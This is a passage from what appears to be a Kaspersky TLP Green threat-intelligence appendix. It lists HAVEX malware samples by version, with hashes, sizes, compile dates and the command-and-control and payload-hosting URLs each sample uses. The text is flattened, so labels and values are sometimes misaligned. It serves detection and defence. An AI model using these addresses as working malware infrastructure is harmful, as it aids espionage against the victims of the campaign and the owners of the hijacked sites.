intelreports@kaspersky.com SHA-256: Size: Compiled: aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101 399154 Sat, 03 Dec 2011 05:47:06 UTC SHA-256: Size: Compiled: 837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327 398918 Sat, 03 Dec 2011 05:47:06 UTC SHA-256: abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c Size: 394206 Compiled: Sat, 03 Dec 2011 05:47:06 UTC C2 URLs: serviciosglobal.com/inc/search.php?id= theluvsite.com/modules/search/src.php?id= HAVEX version 018 SHA-256: a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9 Size: 401968 Compiled: Sat, 03 Dec 2011 05:55:08 UTC C2 URLs: motahariblog.com/core/date/date.php?id= www.rscarcare.com/modules/Manufacturers/source.php?id= roxsuite.com/modules/mod_search/mod_search.src.php?id= SHA-256: ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235 Size: 401408 Compiled: Thu, 10 Nov 2011 06:11:50 UTC C2 URLs: productosmiller.com/includes/modules/iddx.php?id= sabioq.com/Connections/_notes/dxml.php?id= vamcart.com/modules/system/blocks/system.php?id= jo.contrasso.com/chief-cooker/tiny_mce/plugins/searchreplace/edit.php?id= SHA-256: e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74 Size: 402543 Compiled: Wed, 09 Nov 2011 10:51:51 UTC C2 URLs: www.expathiring.com/generator/pages/page-index.php?id= ijbeta.com/wp-includes/pomo/dx.php?id= goandgetstaffed.com.au/system/modules/miscellaneous/_index.php?id= insurancelower.com/tareas/include/_php.php?id= HAVEX version 019 TLP: Green For any inquire please contact intelreports@kaspersky.com SHA-256: 8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5 Size: 401968 Compiled: Fri, 02 Dec 2011 13:46:14 UTC C2 URLs: pekanin.freevar.com/include/template/isx.php?id= randallweil.com/cms/tinymce/examples/access.php?id= shwandukani.ueuo.com/modules/mod_search/mod_research.php?id= SHA-256: 0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb Size: 400896 Compiled: Fri, 02 Dec 2011 14:05:30 UTC C2 URLs: hq.mission1701.com/include/plugins/search.php?id= iclt.am/style/default/search.php?id= joomware.org/modules/mod_search/search.php?id= SHA-256: e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5 Size: 400896 Compiled: Fri, 02 Dec 2011 14:17:40 UTC C2 URLs: nsourcer.com/modules/menu/menu.php?id= www.onehellofaride.com/wp-includes/pomo/dsx.php?id= tripstoasia.com/wp-content/plugins/idx.php?id= HAVEX version 01A SHA-256: Size: Compiled: f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3 406445 Fri, 09 Dec 2011 10:30:42 UTC SHA-256: Size: Compiled: 698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100 402173 Fri, 09 Dec 2011 10:30:42 UTC SHA-256: Size: Compiled: Notes: 022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac 408277 Fri, 09 Dec 2011 10:30:42 UTC file is corrupted SHA-256: Size: Compiled: b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068 402609 Fri, 09 Dec 2011 10:30:42 UTC TLP: Green For any inquire please contact intelreports@kaspersky.com SHA-256: Size: Compiled: 4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05 409042 Fri, 09 Dec 2011 10:30:42 UTC SHA-256: Size: Compiled: 7081455301e756d6459ea7f03cd55f7e490622d36a5a019861e6b17141f69bd0 405517 Fri, 09 Dec 2011 10:30:42 UTC C2 URLs: chimesy.com/kurdish/modules/Statistics/source.php?id= newdawnkenya.com/modules/mod_search/src.php?id= www.cubasitours.com/htmlMimeMail5/ejemplo/source.php?id= SHA-256: bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79 Size: 409136 Compiled: 2011-12-09 11:47:50 C2 URLs: geointeres.com/engine/modules/source.php?id= ojoobo.com/modules/forum/forum-source.php?id= www.prosperis.com/cms/sections/source.php?id= HAVEX version 01B SHA-256: Size: Compiled: Notes: 8da93bc4d20e5f38d599ac89db26fc2f1eecbf36c14209302978d46fc4ce5412 2031109 Tue, 13 Dec 2011 06:14:15 UTC Corrupted / nested file SHA-256: Size: Compiled: 224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 422871 Tue, 13 Dec 2011 06:14:15 UTC C2 URLs: ytu.am/modules/mod_search/source.php?id= tallhoody.com/wp-includes/pomo/idx.php?id= www.prosperis.com/cms/email/mail.php?id= HAVEX version 01C SHA-256: Size: Compiled: Notes: TLP: Green a05b53260c2855829226dffd814022b7ff4750d278d6c46f2e8e0dc58a36a1f9 2031109 Fri, 16 Dec 2011 09:05:34 UTC Corrupted / nested file For any inquire please contact intelreports@kaspersky.com SHA-256: 0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255 Size: 418426 Compiled: Fri, 16 Dec 2011 08:57:55 UTC C2 URLs: geointeres.com/engine/modules/source.php?id= ojoobo.com/modules/forum/forum-source.php?id= www.prosperis.com/cms/sections/source.php?id= SHA-256: 3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29 Size: 420874 Compiled: Tue, 20 Dec 2011 07:06:16 UTC C2 URLs: ispacs.com/cna/pages.cn/cna_source.php?id= strategyofroulette.com/app/usr/usr_src.php?id= www.meortemple.com/wp-includes/pomo/idx.php?id= HAVEX version 01D SHA-256: Size: Compiled: Notes: 66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3 2045717 Wed, 21 Dec 2011 08:55:59 UTC Corrupted / nested file SHA-256: 83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3 Size: 2031109 Compiled: Wed, 21 Dec 2011 08:58:09 UTC Notes: Corrupted / nested file C2 URLs: giant99.com/site-admin/pages/source.php?id= abainternationaltoursandtravel.com/hiking_Safaris/source.php?id= www.nahoonservices.com/wp-includes/pomo/idx.php?id= SHA-256: Size: Compiled: Source Url: 170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878 422960 Thu, 29 Dec 2011 07:17:39 UTC ijbeta.com/wp-includes/pomo/ambigos0.jpg SHA-256: 0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf Size: 421947 Compiled: Thu, 29 Dec 2011 07:17:39 UTC C2 URLs: thecafe7.com/modules/mod_newsflash/mod_newsflash_idx.php?id= thecafe7.com/modules/mod_whosonline/src.php?id= TLP: Green For any inquire please contact intelreports@kaspersky.com rchdmtnez.com/modules/mod_search/source.php?id= SHA-256: Size: Compiled: 5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6 417296 Tue, 10 Jan 2012 12:27:57 UTC SHA-256: Size: Compiled: 6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38 422624 Tue, 10 Jan 2012 12:27:57 UTC C2 URLs: dominioparayoani.com/wp-includes/pomo/source.php?id= www.espadonline.com/forum/includes/block/source.php?id= aptguide.3dtour.com/includes/cloudfusion/sc4.class.php?id= SHA-256: Size: Compiled: e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace 401788 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: 487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a 421467 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: 2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9 409048 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: c4e2e341689799281eaef47de75f59edceaba281398b41fe7616436f247ab93d 415640 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f02a5e 418118 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: 1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a 422416 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: 45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139 422452 TLP: Green For any inquire please contact intelreports@kaspersky.com Compiled: Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: 439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23 422117 Tue, 10 Jan 2012 14:04:49 UTC SHA-256: Size: Compiled: Source Url: 59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c 423472 Tue, 10 Jan 2012 14:04:49 UTC ijbeta.com/wp-includes/pomo/ambigos0.jpg C2 URLs: ktbits.com/engine/modules/source.php?id= rosesci.com/mail/q.source.php?id= www.jterps.com/wp-includes/pomo/idx.php?id= SHA-256: d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7 Size: 420065 Compiled: Tue Jan 10 14:04:49 2012 UTC C2 URLs: ktbits.com/engine/modules/source.php?id= rosesci.com/mail/q.source.php?id= www.jterps.com/wp-includes/pomo/idx.php?id= HAVEX version 01E SHA-256: Size: Compiled: Source Url: 4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d 423472 Tue, 17 Jan 2012 07:26:25 UTC ijbeta.com/wp-includes/pomo/ambigos0.jpg SHA-256: Size: Compiled: b3b01b36b6437c624da4b28c4c8f773ae8133fca9dd10dc17742e956117f5759 423439 Tue, 17 Jan 2012 07:26:25 UTC C2 URLs: arsch-anus.com/engine/modules/source.php?id= al-mashkoor.com/php/mail/source.php?id= basecamp.100icons.com/ibresource/forumengine/mzh-front-20090600.php?id= SHA-256: Size: Compiled: TLP: Green 24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed 419629 Tue, 17 Jan 2012 07:29:35 UTC For any inquire please contact intelreports@kaspersky.com SHA-256: Size: Compiled: e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3 418320 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f 422285 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: 2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4 415684 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: 13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554 418604 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc 417145 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: 85d3f636b515f0729c47f66e3fc0c9a0aacf3ec09c4acf8bf20a1411edcdc40a 416709 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c 418037 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: 94d4e4a8f2d53426154c41120b4f3cf8105328c0cc5d4bd9126a54c14b296093 415861 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: 59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72 417733 Tue, 17 Jan 2012 07:29:35 UTC SHA-256: Size: Compiled: b139829440aabe33071aa34604f739d70f9a0a3b06051f3190aabf839df2d408 422112 Tue, 17 Jan 2012 07:29:35 UTC TLP: Green For any inquire please contact intelreports@kaspersky.com SHA-256: Size: Compiled: 72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8 421677 Tue, 17 Jan 2012 07:29:35 UTC C2 URLs: basecamp.turbomilk.com/turbomilk/contractors2/idx.php?id= bbpdx.com/includes/xpath/xpath.src.php?id= iqaws.com/catalog/install/source.php?id= SHA-256: 49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2 Size: 423472 Compiled: Mon, 30 Jan 2012 11:10:17 UTC C2 URLs: familienieuwland.com/Schotland_files/_vti_cnf/index2.php?id= serviciosglobal.com/TPV/src.php?id= la5taavenida.com/wp-content/themes/citylight-idea-10/citylight-idea-10/idx.php?id= SHA-256: 2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368 Size: 423472 Compiled: Mon, 27 Feb 2012 09:09:44 UTC Source url: ijbeta.com/wp-includes/pomo/ambigos0.jpg C2 URLs: stalprof.com.ua/includes/domit/src.php?id= www.cometothetruth.com/cms/tinymce/examples/src.php?id= pornoxxx1.com/engine/ajax/src.php?id= HAVEX version 01F SHA-256: Size: Compiled: 7e0dafedd01d09e66524f2345d652b29d3f634361c0a69e8d466dcbdfd0e3001 423472 Tue, 07 Feb 2012 06:22:05 UTC SHA-256: Size: Compiled: 6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d 446464 Tue, 07 Feb 2012 06:22:05 UTC C2 URLs: ispacs.com/cna/pages.cn/cna_source.php?id= strategyofroulette.com/app/usr/usr_src.php?id= www.meortemple.com/wp-includes/pomo/idx.php?id= SHA-256: Size: TLP: Green d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526 421081 For any inquire please contact intelreports@kaspersky.com Compiled: Tue, 14 Feb 2012 14:34:23 UTC SHA-256: Size: Compiled: 61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54 415525 Tue, 14 Feb 2012 14:34:23 UTC SHA-256: Size: Compiled: 0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5 423472 Tue, 14 Feb 2012 14:34:23 UTC C2 URLs: dayniilecom.com/index_files/iibka300_files/source.php?id= red-opus.com/_vti_bin/_vti_aut/source.php?id= www.cetlot.com/wp-includes/pomo/idx.php?id= SHA-256: Size: Compiled: 2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6 416221 Tue, 14 Feb 2012 14:38:41 UTC C2 URLs: peterbogdanov.com/php/phpmailer/phpdoc/src.php?id= www.behrendt-pasewalk.de/blog/wp-content/plugins/source.php?id= www.a-knoblach.de/russland-blog/functions/locnav/pfeil_src.php?id= SHA-256: aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee Size: 423472 Compiled: Wed Feb 8 06:53:30 2012 UTC C2 URLs: ytu.am/modules/mod_search/source.php?id= tallhoody.com/wp-includes/pomo/idx.php?id= www.prosperis.com/cms/email/mail.php?id= HAVEX version 020 SHA-256: 224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 Size: 422871 Compiled: Tue, 13 Dec 2011 06:14:15 UTC C2 URLs: ytu.am/modules/mod_search/source.php?id= tallhoody.com/wp-includes/pomo/idx.php?id= www.prosperis.com/cms/email/mail.php?id= SHA-256: Size: TLP: Green 2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79 460848 For any inquire please contact intelreports@kaspersky.com Compiled: Mon, 12 Mar 2012 11:54:12 UTC C2 URLs: www.rscarcare.com/modules/Manufacturers/source.php?id= rcdm-global.de/plugins/search/content/source.php?id= www.eriell.com/services/photo/source.php?id= SHA-256: cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50 Size: 459824 Compiled: Tue, 01 May 2012 10:54:35 UTC C2 URLs: blog.iclt.am/wp-includes/pomo/src.php?id= coma.nsourcer.com/modules/search/frontend/default/src.php?id= www.rutravel.com/admin/include/source.php?id= HAVEX version 021 SHA-256: Size: Compiled: edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050 458119 Sat, 09 Jun 2012 06:49:43 UTC SHA-256: Size: Compiled: a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3 460848 Sat, 09 Jun 2012 06:49:43 UTC C2 URLs: swissitaly.com/includes/phpmailer/class.pop3.php?id= lkgames.com/fr/free-game-action-ball-2/source.php?id= artem.sataev.com/blog/wp-includes/pomo/src.php?id= HAVEX version 022 SHA-256: 43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b Size: 462848 Compiled: Mon, 17 Sep 2012 09:43:36 UTC C2 URLs: blog.vraert.com/wp-includes/pomo/src.php?id= wildlifehc.org/nest/services/source.php?id= www.suma-shop.ir/modules/sekeywords/source.php?id= www.sdfgdsdf23_sdgdstavolozza.4lf.me/z/j/tiny_mce/plugins/xhtmlxtras/src. php?id= SHA-256: Size: Compiled: TLP: Green 98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a 463920 Tue, 17 Jul 2012 06:35:58 UTC For any inquire please contact intelreports@kaspersky.com C2 URLs: lafollettewines.com/includes/phpInputFilter/source.php?id= alexvernigor.com/includes/phpmailer/source.php?id= www.recomiendalos.com/inc/eml_templates/source.php?id= www.jklgdf789dh43.com/7890890778yer/rtrtyr/rty/rty/ery/er.php?id= SHA-256: da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916 Size: 463920 Compiled: Tue, 28 Aug 2012 13:53:28 UTC C2 URLs: artsepid.com/plugin/contact-form/source.php?id= xezri.net/chat/etiraf/source.php?id= bukzahid.org.ua/engine/modules/src.php?id= www.sdfgdsdf2354235il.com/inc/eml_templates/source.php?id= SHA-256: 269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f Size: 463920 Compiled: Mon, 06 Aug 2012 12:42:06 UTC C2 URLs: mohsenmeghdari.com/includes/exifer1_5/source.php?id= alpikaclub.com/wp-includes/pomo/idx.php?id= naturexperts.com/themes/bluemarine/node.php?id= www.sdfgdsdf2354235il_jsaopwiowrhwkbfjk2345234532gssdrgesr.com/inc/eml_ templates/source.php?id= SHA-256: 1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90 Size: 463920 Compiled: Wed, 22 Aug 2012 09:34:45 UTC C2 URLs: www.snow-lab.com/modules/mod_search/tmpl/search.php?id= motorjo.com/z/j/tiny_mce/plugins/media/source.php?id= forum.unmondeparfait.org/includes/search/source.php?id= www.sdfgdsdf2354235il_jsaopwiowrhwkbfjk2345234532gssdrgesr.com/inc/eml_ templates/source.php?id= HAVEX version 024 SHA-256 778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a Size: 452608 Compiled: 2012-12-11 05:51:17 Source URL: www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php SHA-256: Size: TLP: Green 066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18 452608 For any inquire please contact intelreports@kaspersky.com Compiled: Fri, 26 Oct 2012 10:12:03 UTC SHA-256: Size: Compiled: f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c 452608 Fri, 26 Oct 2012 10:12:03 UTC SHA-256: Size: Compiled: c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad 452608 Fri, 26 Oct 2012 10:43:23 UTC SHA-256: Size: Compiled: c25c1455dcab2f17fd6a25f8af2f09ca31c8d3773de1cb2a55acd7aeaa6963c8 452608 Fri, 26 Oct 2012 12:13:07 UTC SHA-256: Size: Compiled: 593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911 452608 Fri, 26 Oct 2012 12:13:07 UTC) SHA-256: Size: Compiled: 9d530e2254580842574a740698d2348b68b46fd88312c9325321ad0d986f523d 452608 Fri, 26 Oct 2012 12:13:09 UTC C2 URLs: grafics.kz/plugins/search/source.php?id= www.kino24.kz/blog/engine/modules/plugin/source.php?id= www.idweb.ru/assets/modules/docmanager/classes/dm_source.php?id= SHA-256: 8e222cb1a831c407a3f6c7863f3faa6358b424e70a041c196e91fb7989735b68 Size: 452608 Compiled: Tue, 06 Nov 2012 08:55:54 UTC C2 URLs: baneh2net.com/wp-includes/pomo/idx.php ask.az/chat/cgi-bin/source.php popolnyalka.uz/math/wp-includes/pomo/idx.php SHA-256: 6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419 Size: 452608 Compiled: Tue, 06 Nov 2012 08:57:54 UTC C2 URLs: waytomiracle.com/physics/wp-includes/pomo/src.php anymax.ru/modules/mod_search/source.php ogizni.ru/wp-includes/pomo/idx.php TLP: Green For any inquire please contact intelreports@kaspersky.com SHA-256: 2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4 Size: 452608 Compiled: Tue, 06 Nov 2012 09:06:18 UTC C2 URLs: cadlab.ru/components/com_search/com_search.php entirenetwork.ru/components/com_search/search.src.php radiolocator.ru/includes/domit/dom_xmlrpc_builder_src.php SHA-256: Size: Compiled: d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46 452608 Tue, 06 Nov 2012 09:14:18 UTC SHA-256: Size: Compiled: Notes: 6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980 350382 Tue, 06 Nov 2012 09:14:18 UTC file is corrupted C2 URLs: hram-gelendzhik.ru/modules/mod_search/source.php fasdalf.ru/modules/forum/forum-src.php fortexcompany.ru/forms/FCKeditor/editor/plugins/bbcode/fckplugin.php SHA-256: bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f Size: 452608 Compiled: Wed, 19 Dec 2012 07:15:03 UTC C2 URLs: grafics.kz/plugins/search/source.php topstonet.ru/modules/mod_search/source.php raznyi-content.ru/wp-includes/pomo/idx.php SHA-256: dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd Size: 452608 Compiled: Thu, 20 Dec 2012 07:45:29 UTC C2 URLs: finadmition.ru/wp-includes/pomo/idx.php medpunkt.biz/includes/modules/FCKeditor/fcksource.php intimit.ru/includes/phpmailer/source.php SHA-256: fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 Size: 452608 Compiled: Fri Oct 26 12:13:04 2012 UTC C2 URLs: grafics.kz/plugins/search/source.php www.kino24.kz/blog/engine/modules/plugin/source.php TLP: Green For any inquire please contact intelreports@kaspersky.com www.idweb.ru/assets/modules/docmanager/classes/dm_source.php HAVEX version 025 SHA-256: 684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc Size: 459264 Compiled: Mon, 24 Sep 2012 13:58:54 UTC C2 URLs: topco-co.com/wp-includes/pomo/idx.php?id= crm.mayanks.com/vtigercrm/modules/Services/source.php?id= tickettotimbuktu.com/app/code/core/Mage/Rule/Model/Condition/Source.php?id HAVEX version 029 SHA-256: cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 Size: 434688 Compiled: Tue, 30 Apr 2013 06:53:24 UTC C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php adultfrienditaly.com/wp-includes/pomo/src.php adultfriendfrance.com/wp-includes/pomo/src.php HAVEX version 030 SHA-256: 6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b Size: 435712 Compiled: Wed, 08 May 2013 05:12:53 UTC C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php adultfrienditaly.com/wp-includes/pomo/src.php adultfriendfrance.com/wp-includes/pomo/src.php HAVEX version 037 SHA-256: 0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095 Size: 436736 Compiled: Fri, 16 Aug 2013 05:49:18 UTC Resource: ICT 0x69 C2 URLs: jcaip.co.jp/inc/user/mysql_s.php shopcode.net/wp-includes/pomo/idx.php dl.3manage.com/services/ip/easy/idx.php SHA-256: 92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401 Size: 436736 TLP: Green For any inquire please contact intelreports@kaspersky.com Compiled: Wed, 28 Aug 2013 07:21:28 UTC Resource: ICT 0x69 C2 URLs: blog.olioboard.com/wp-includes/pomo/idx.php blog.keeleux.com/wp-includes/pomo/idx.php alexvernigor.com/includes/phpmailer/source.php SHA-256: 0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876 Size: 436799 Compiled: Thu, 04 Jul 2013 12:54:48 UTC Resource: ICT 0x69 C2 URLs: serviciosglobal.com/inc/search.php zhayvoronok.com/wp-includes/pomo/idx.php dreamsblock.com/witadmin/modules/source.php HAVEX version 038 SHA-256: ec48b131612ef5637b387d9c2b0907d68a080fb77c6168e779fb7f3a0efa04dc Size: 327168 Compiled: Tue, 29 Oct 2013 06:09:24 UTC C2 URLs: pekanin.freevar.com/include/template/isx.php simpsons.freesexycomics.com/wp06/wp-includes/po.php toons.freesexycomics.com/wp08/wp-includes/dtcla.php SHA-256: c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b Size: 327168 Compiled: Tue, 29 Oct 2013 06:09:24 UTC C2 URLs: allcubatravel.com/roomHavana/Teresita/src.php keeleux.com/wp/wp-includes/idx.php sunny-thumbs.com/ebonyaddiction/14/black-stockings-gangbang/source.php SHA-256: 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 Size: 327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC C2 URLs: zhayvoronok.com/wp-includes/pomo/idx.php dreamsblock.com/witadmin/modules/source.php 38stalprof.com.ua/includes/domit/src.php SHA-256: Size: Compiled: TLP: Green ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633 327168 Mon, 20 Jan 2014 13:38:43 UTC For any inquire please contact intelreports@kaspersky.com C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php artem.sataev.com/blog/wp-includes/pomo/src.php swissitaly.com/includes/phpmailer/class.pop3.php SHA-256: 6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c Size: 327168 Compiled: Tue, 29 Oct 2013 06:09:24 UTC C2 URLs: electroconf.xe0.ru/modules/mod_search/mod_search.src.php sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php SHA-256: e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad Size: 327591 Compiled: Mon, 30 Dec 2013 12:53:48 UTC C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php artem.sataev.com/blog/wp-includes/pomo/src.php swissitaly.com/includes/phpmailer/class.pop3.php SHA-256: f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a Size: 327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php artem.sataev.com/blog/wp-includes/pomo/src.php swissitaly.com/includes/phpmailer/class.pop3.php HAVEX version 040 SHA-256: b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685 Size: 327168 Compiled: Mon, 17 Feb 2014 09:35:14 UTC C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php adultfrienditaly.com/wp-includes/pomo/src.php adultfriendfrance.com/wp-includes/pomo/src.php HAVEX version 043 SHA-256: Size: Compiled: TLP: Green 69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b 437760 Tue, 01 Apr 2014 10:59:19 UTC For any inquire please contact intelreports@kaspersky.com C2 URLs: electroconf.xe0.ru/modules/mod_search/mod_search.src.php sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php SHA-256: Size: Compiled: C2 URLs: 101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a 458752 Tue, 01 Apr 2014 10:59:19 UTC SHA-256: d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c Size: 437248 Compiled: Fri, 11 Apr 2014 05:37:36 UTC C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php HAVEX version 044 SHA-256: 1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19 Size: 438394 Compiled: Wed, 07 May 2014 12:35:16 UTC C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php SHA-256: Size: Compiled: Notes: 358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f 422499 Wed, 07 May 2014 12:35:16 UTC file is corrupted SHA-256: 4b547b3992838cfb3b61cb25f059c0b56c2f7caaa3b894dbc20bf7b33dadc5a1 Size: 473092 Compiled: Thu Jun 2 23:39:34 2011 UTC C2 URLs: www.iamnumber.com/modules/boonex/specialnumber/tmp.php disney.freesexycomics.com/wp10/wp-includes/pomo/idx.php solaed.ru/modules/mod_search/source.php TLP: Green For any inquire please contact intelreports@kaspersky.com III. Appendix 3: The Sysmain backdoor detailed analysis Detailed analysis of first identified sample of SYSMAIN RAT. The sample set contains two variants. File metadata analyzed variant SHA-256: d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9 MD5: 418bfc05240ec86b91181f38bd751ccb Verdict: 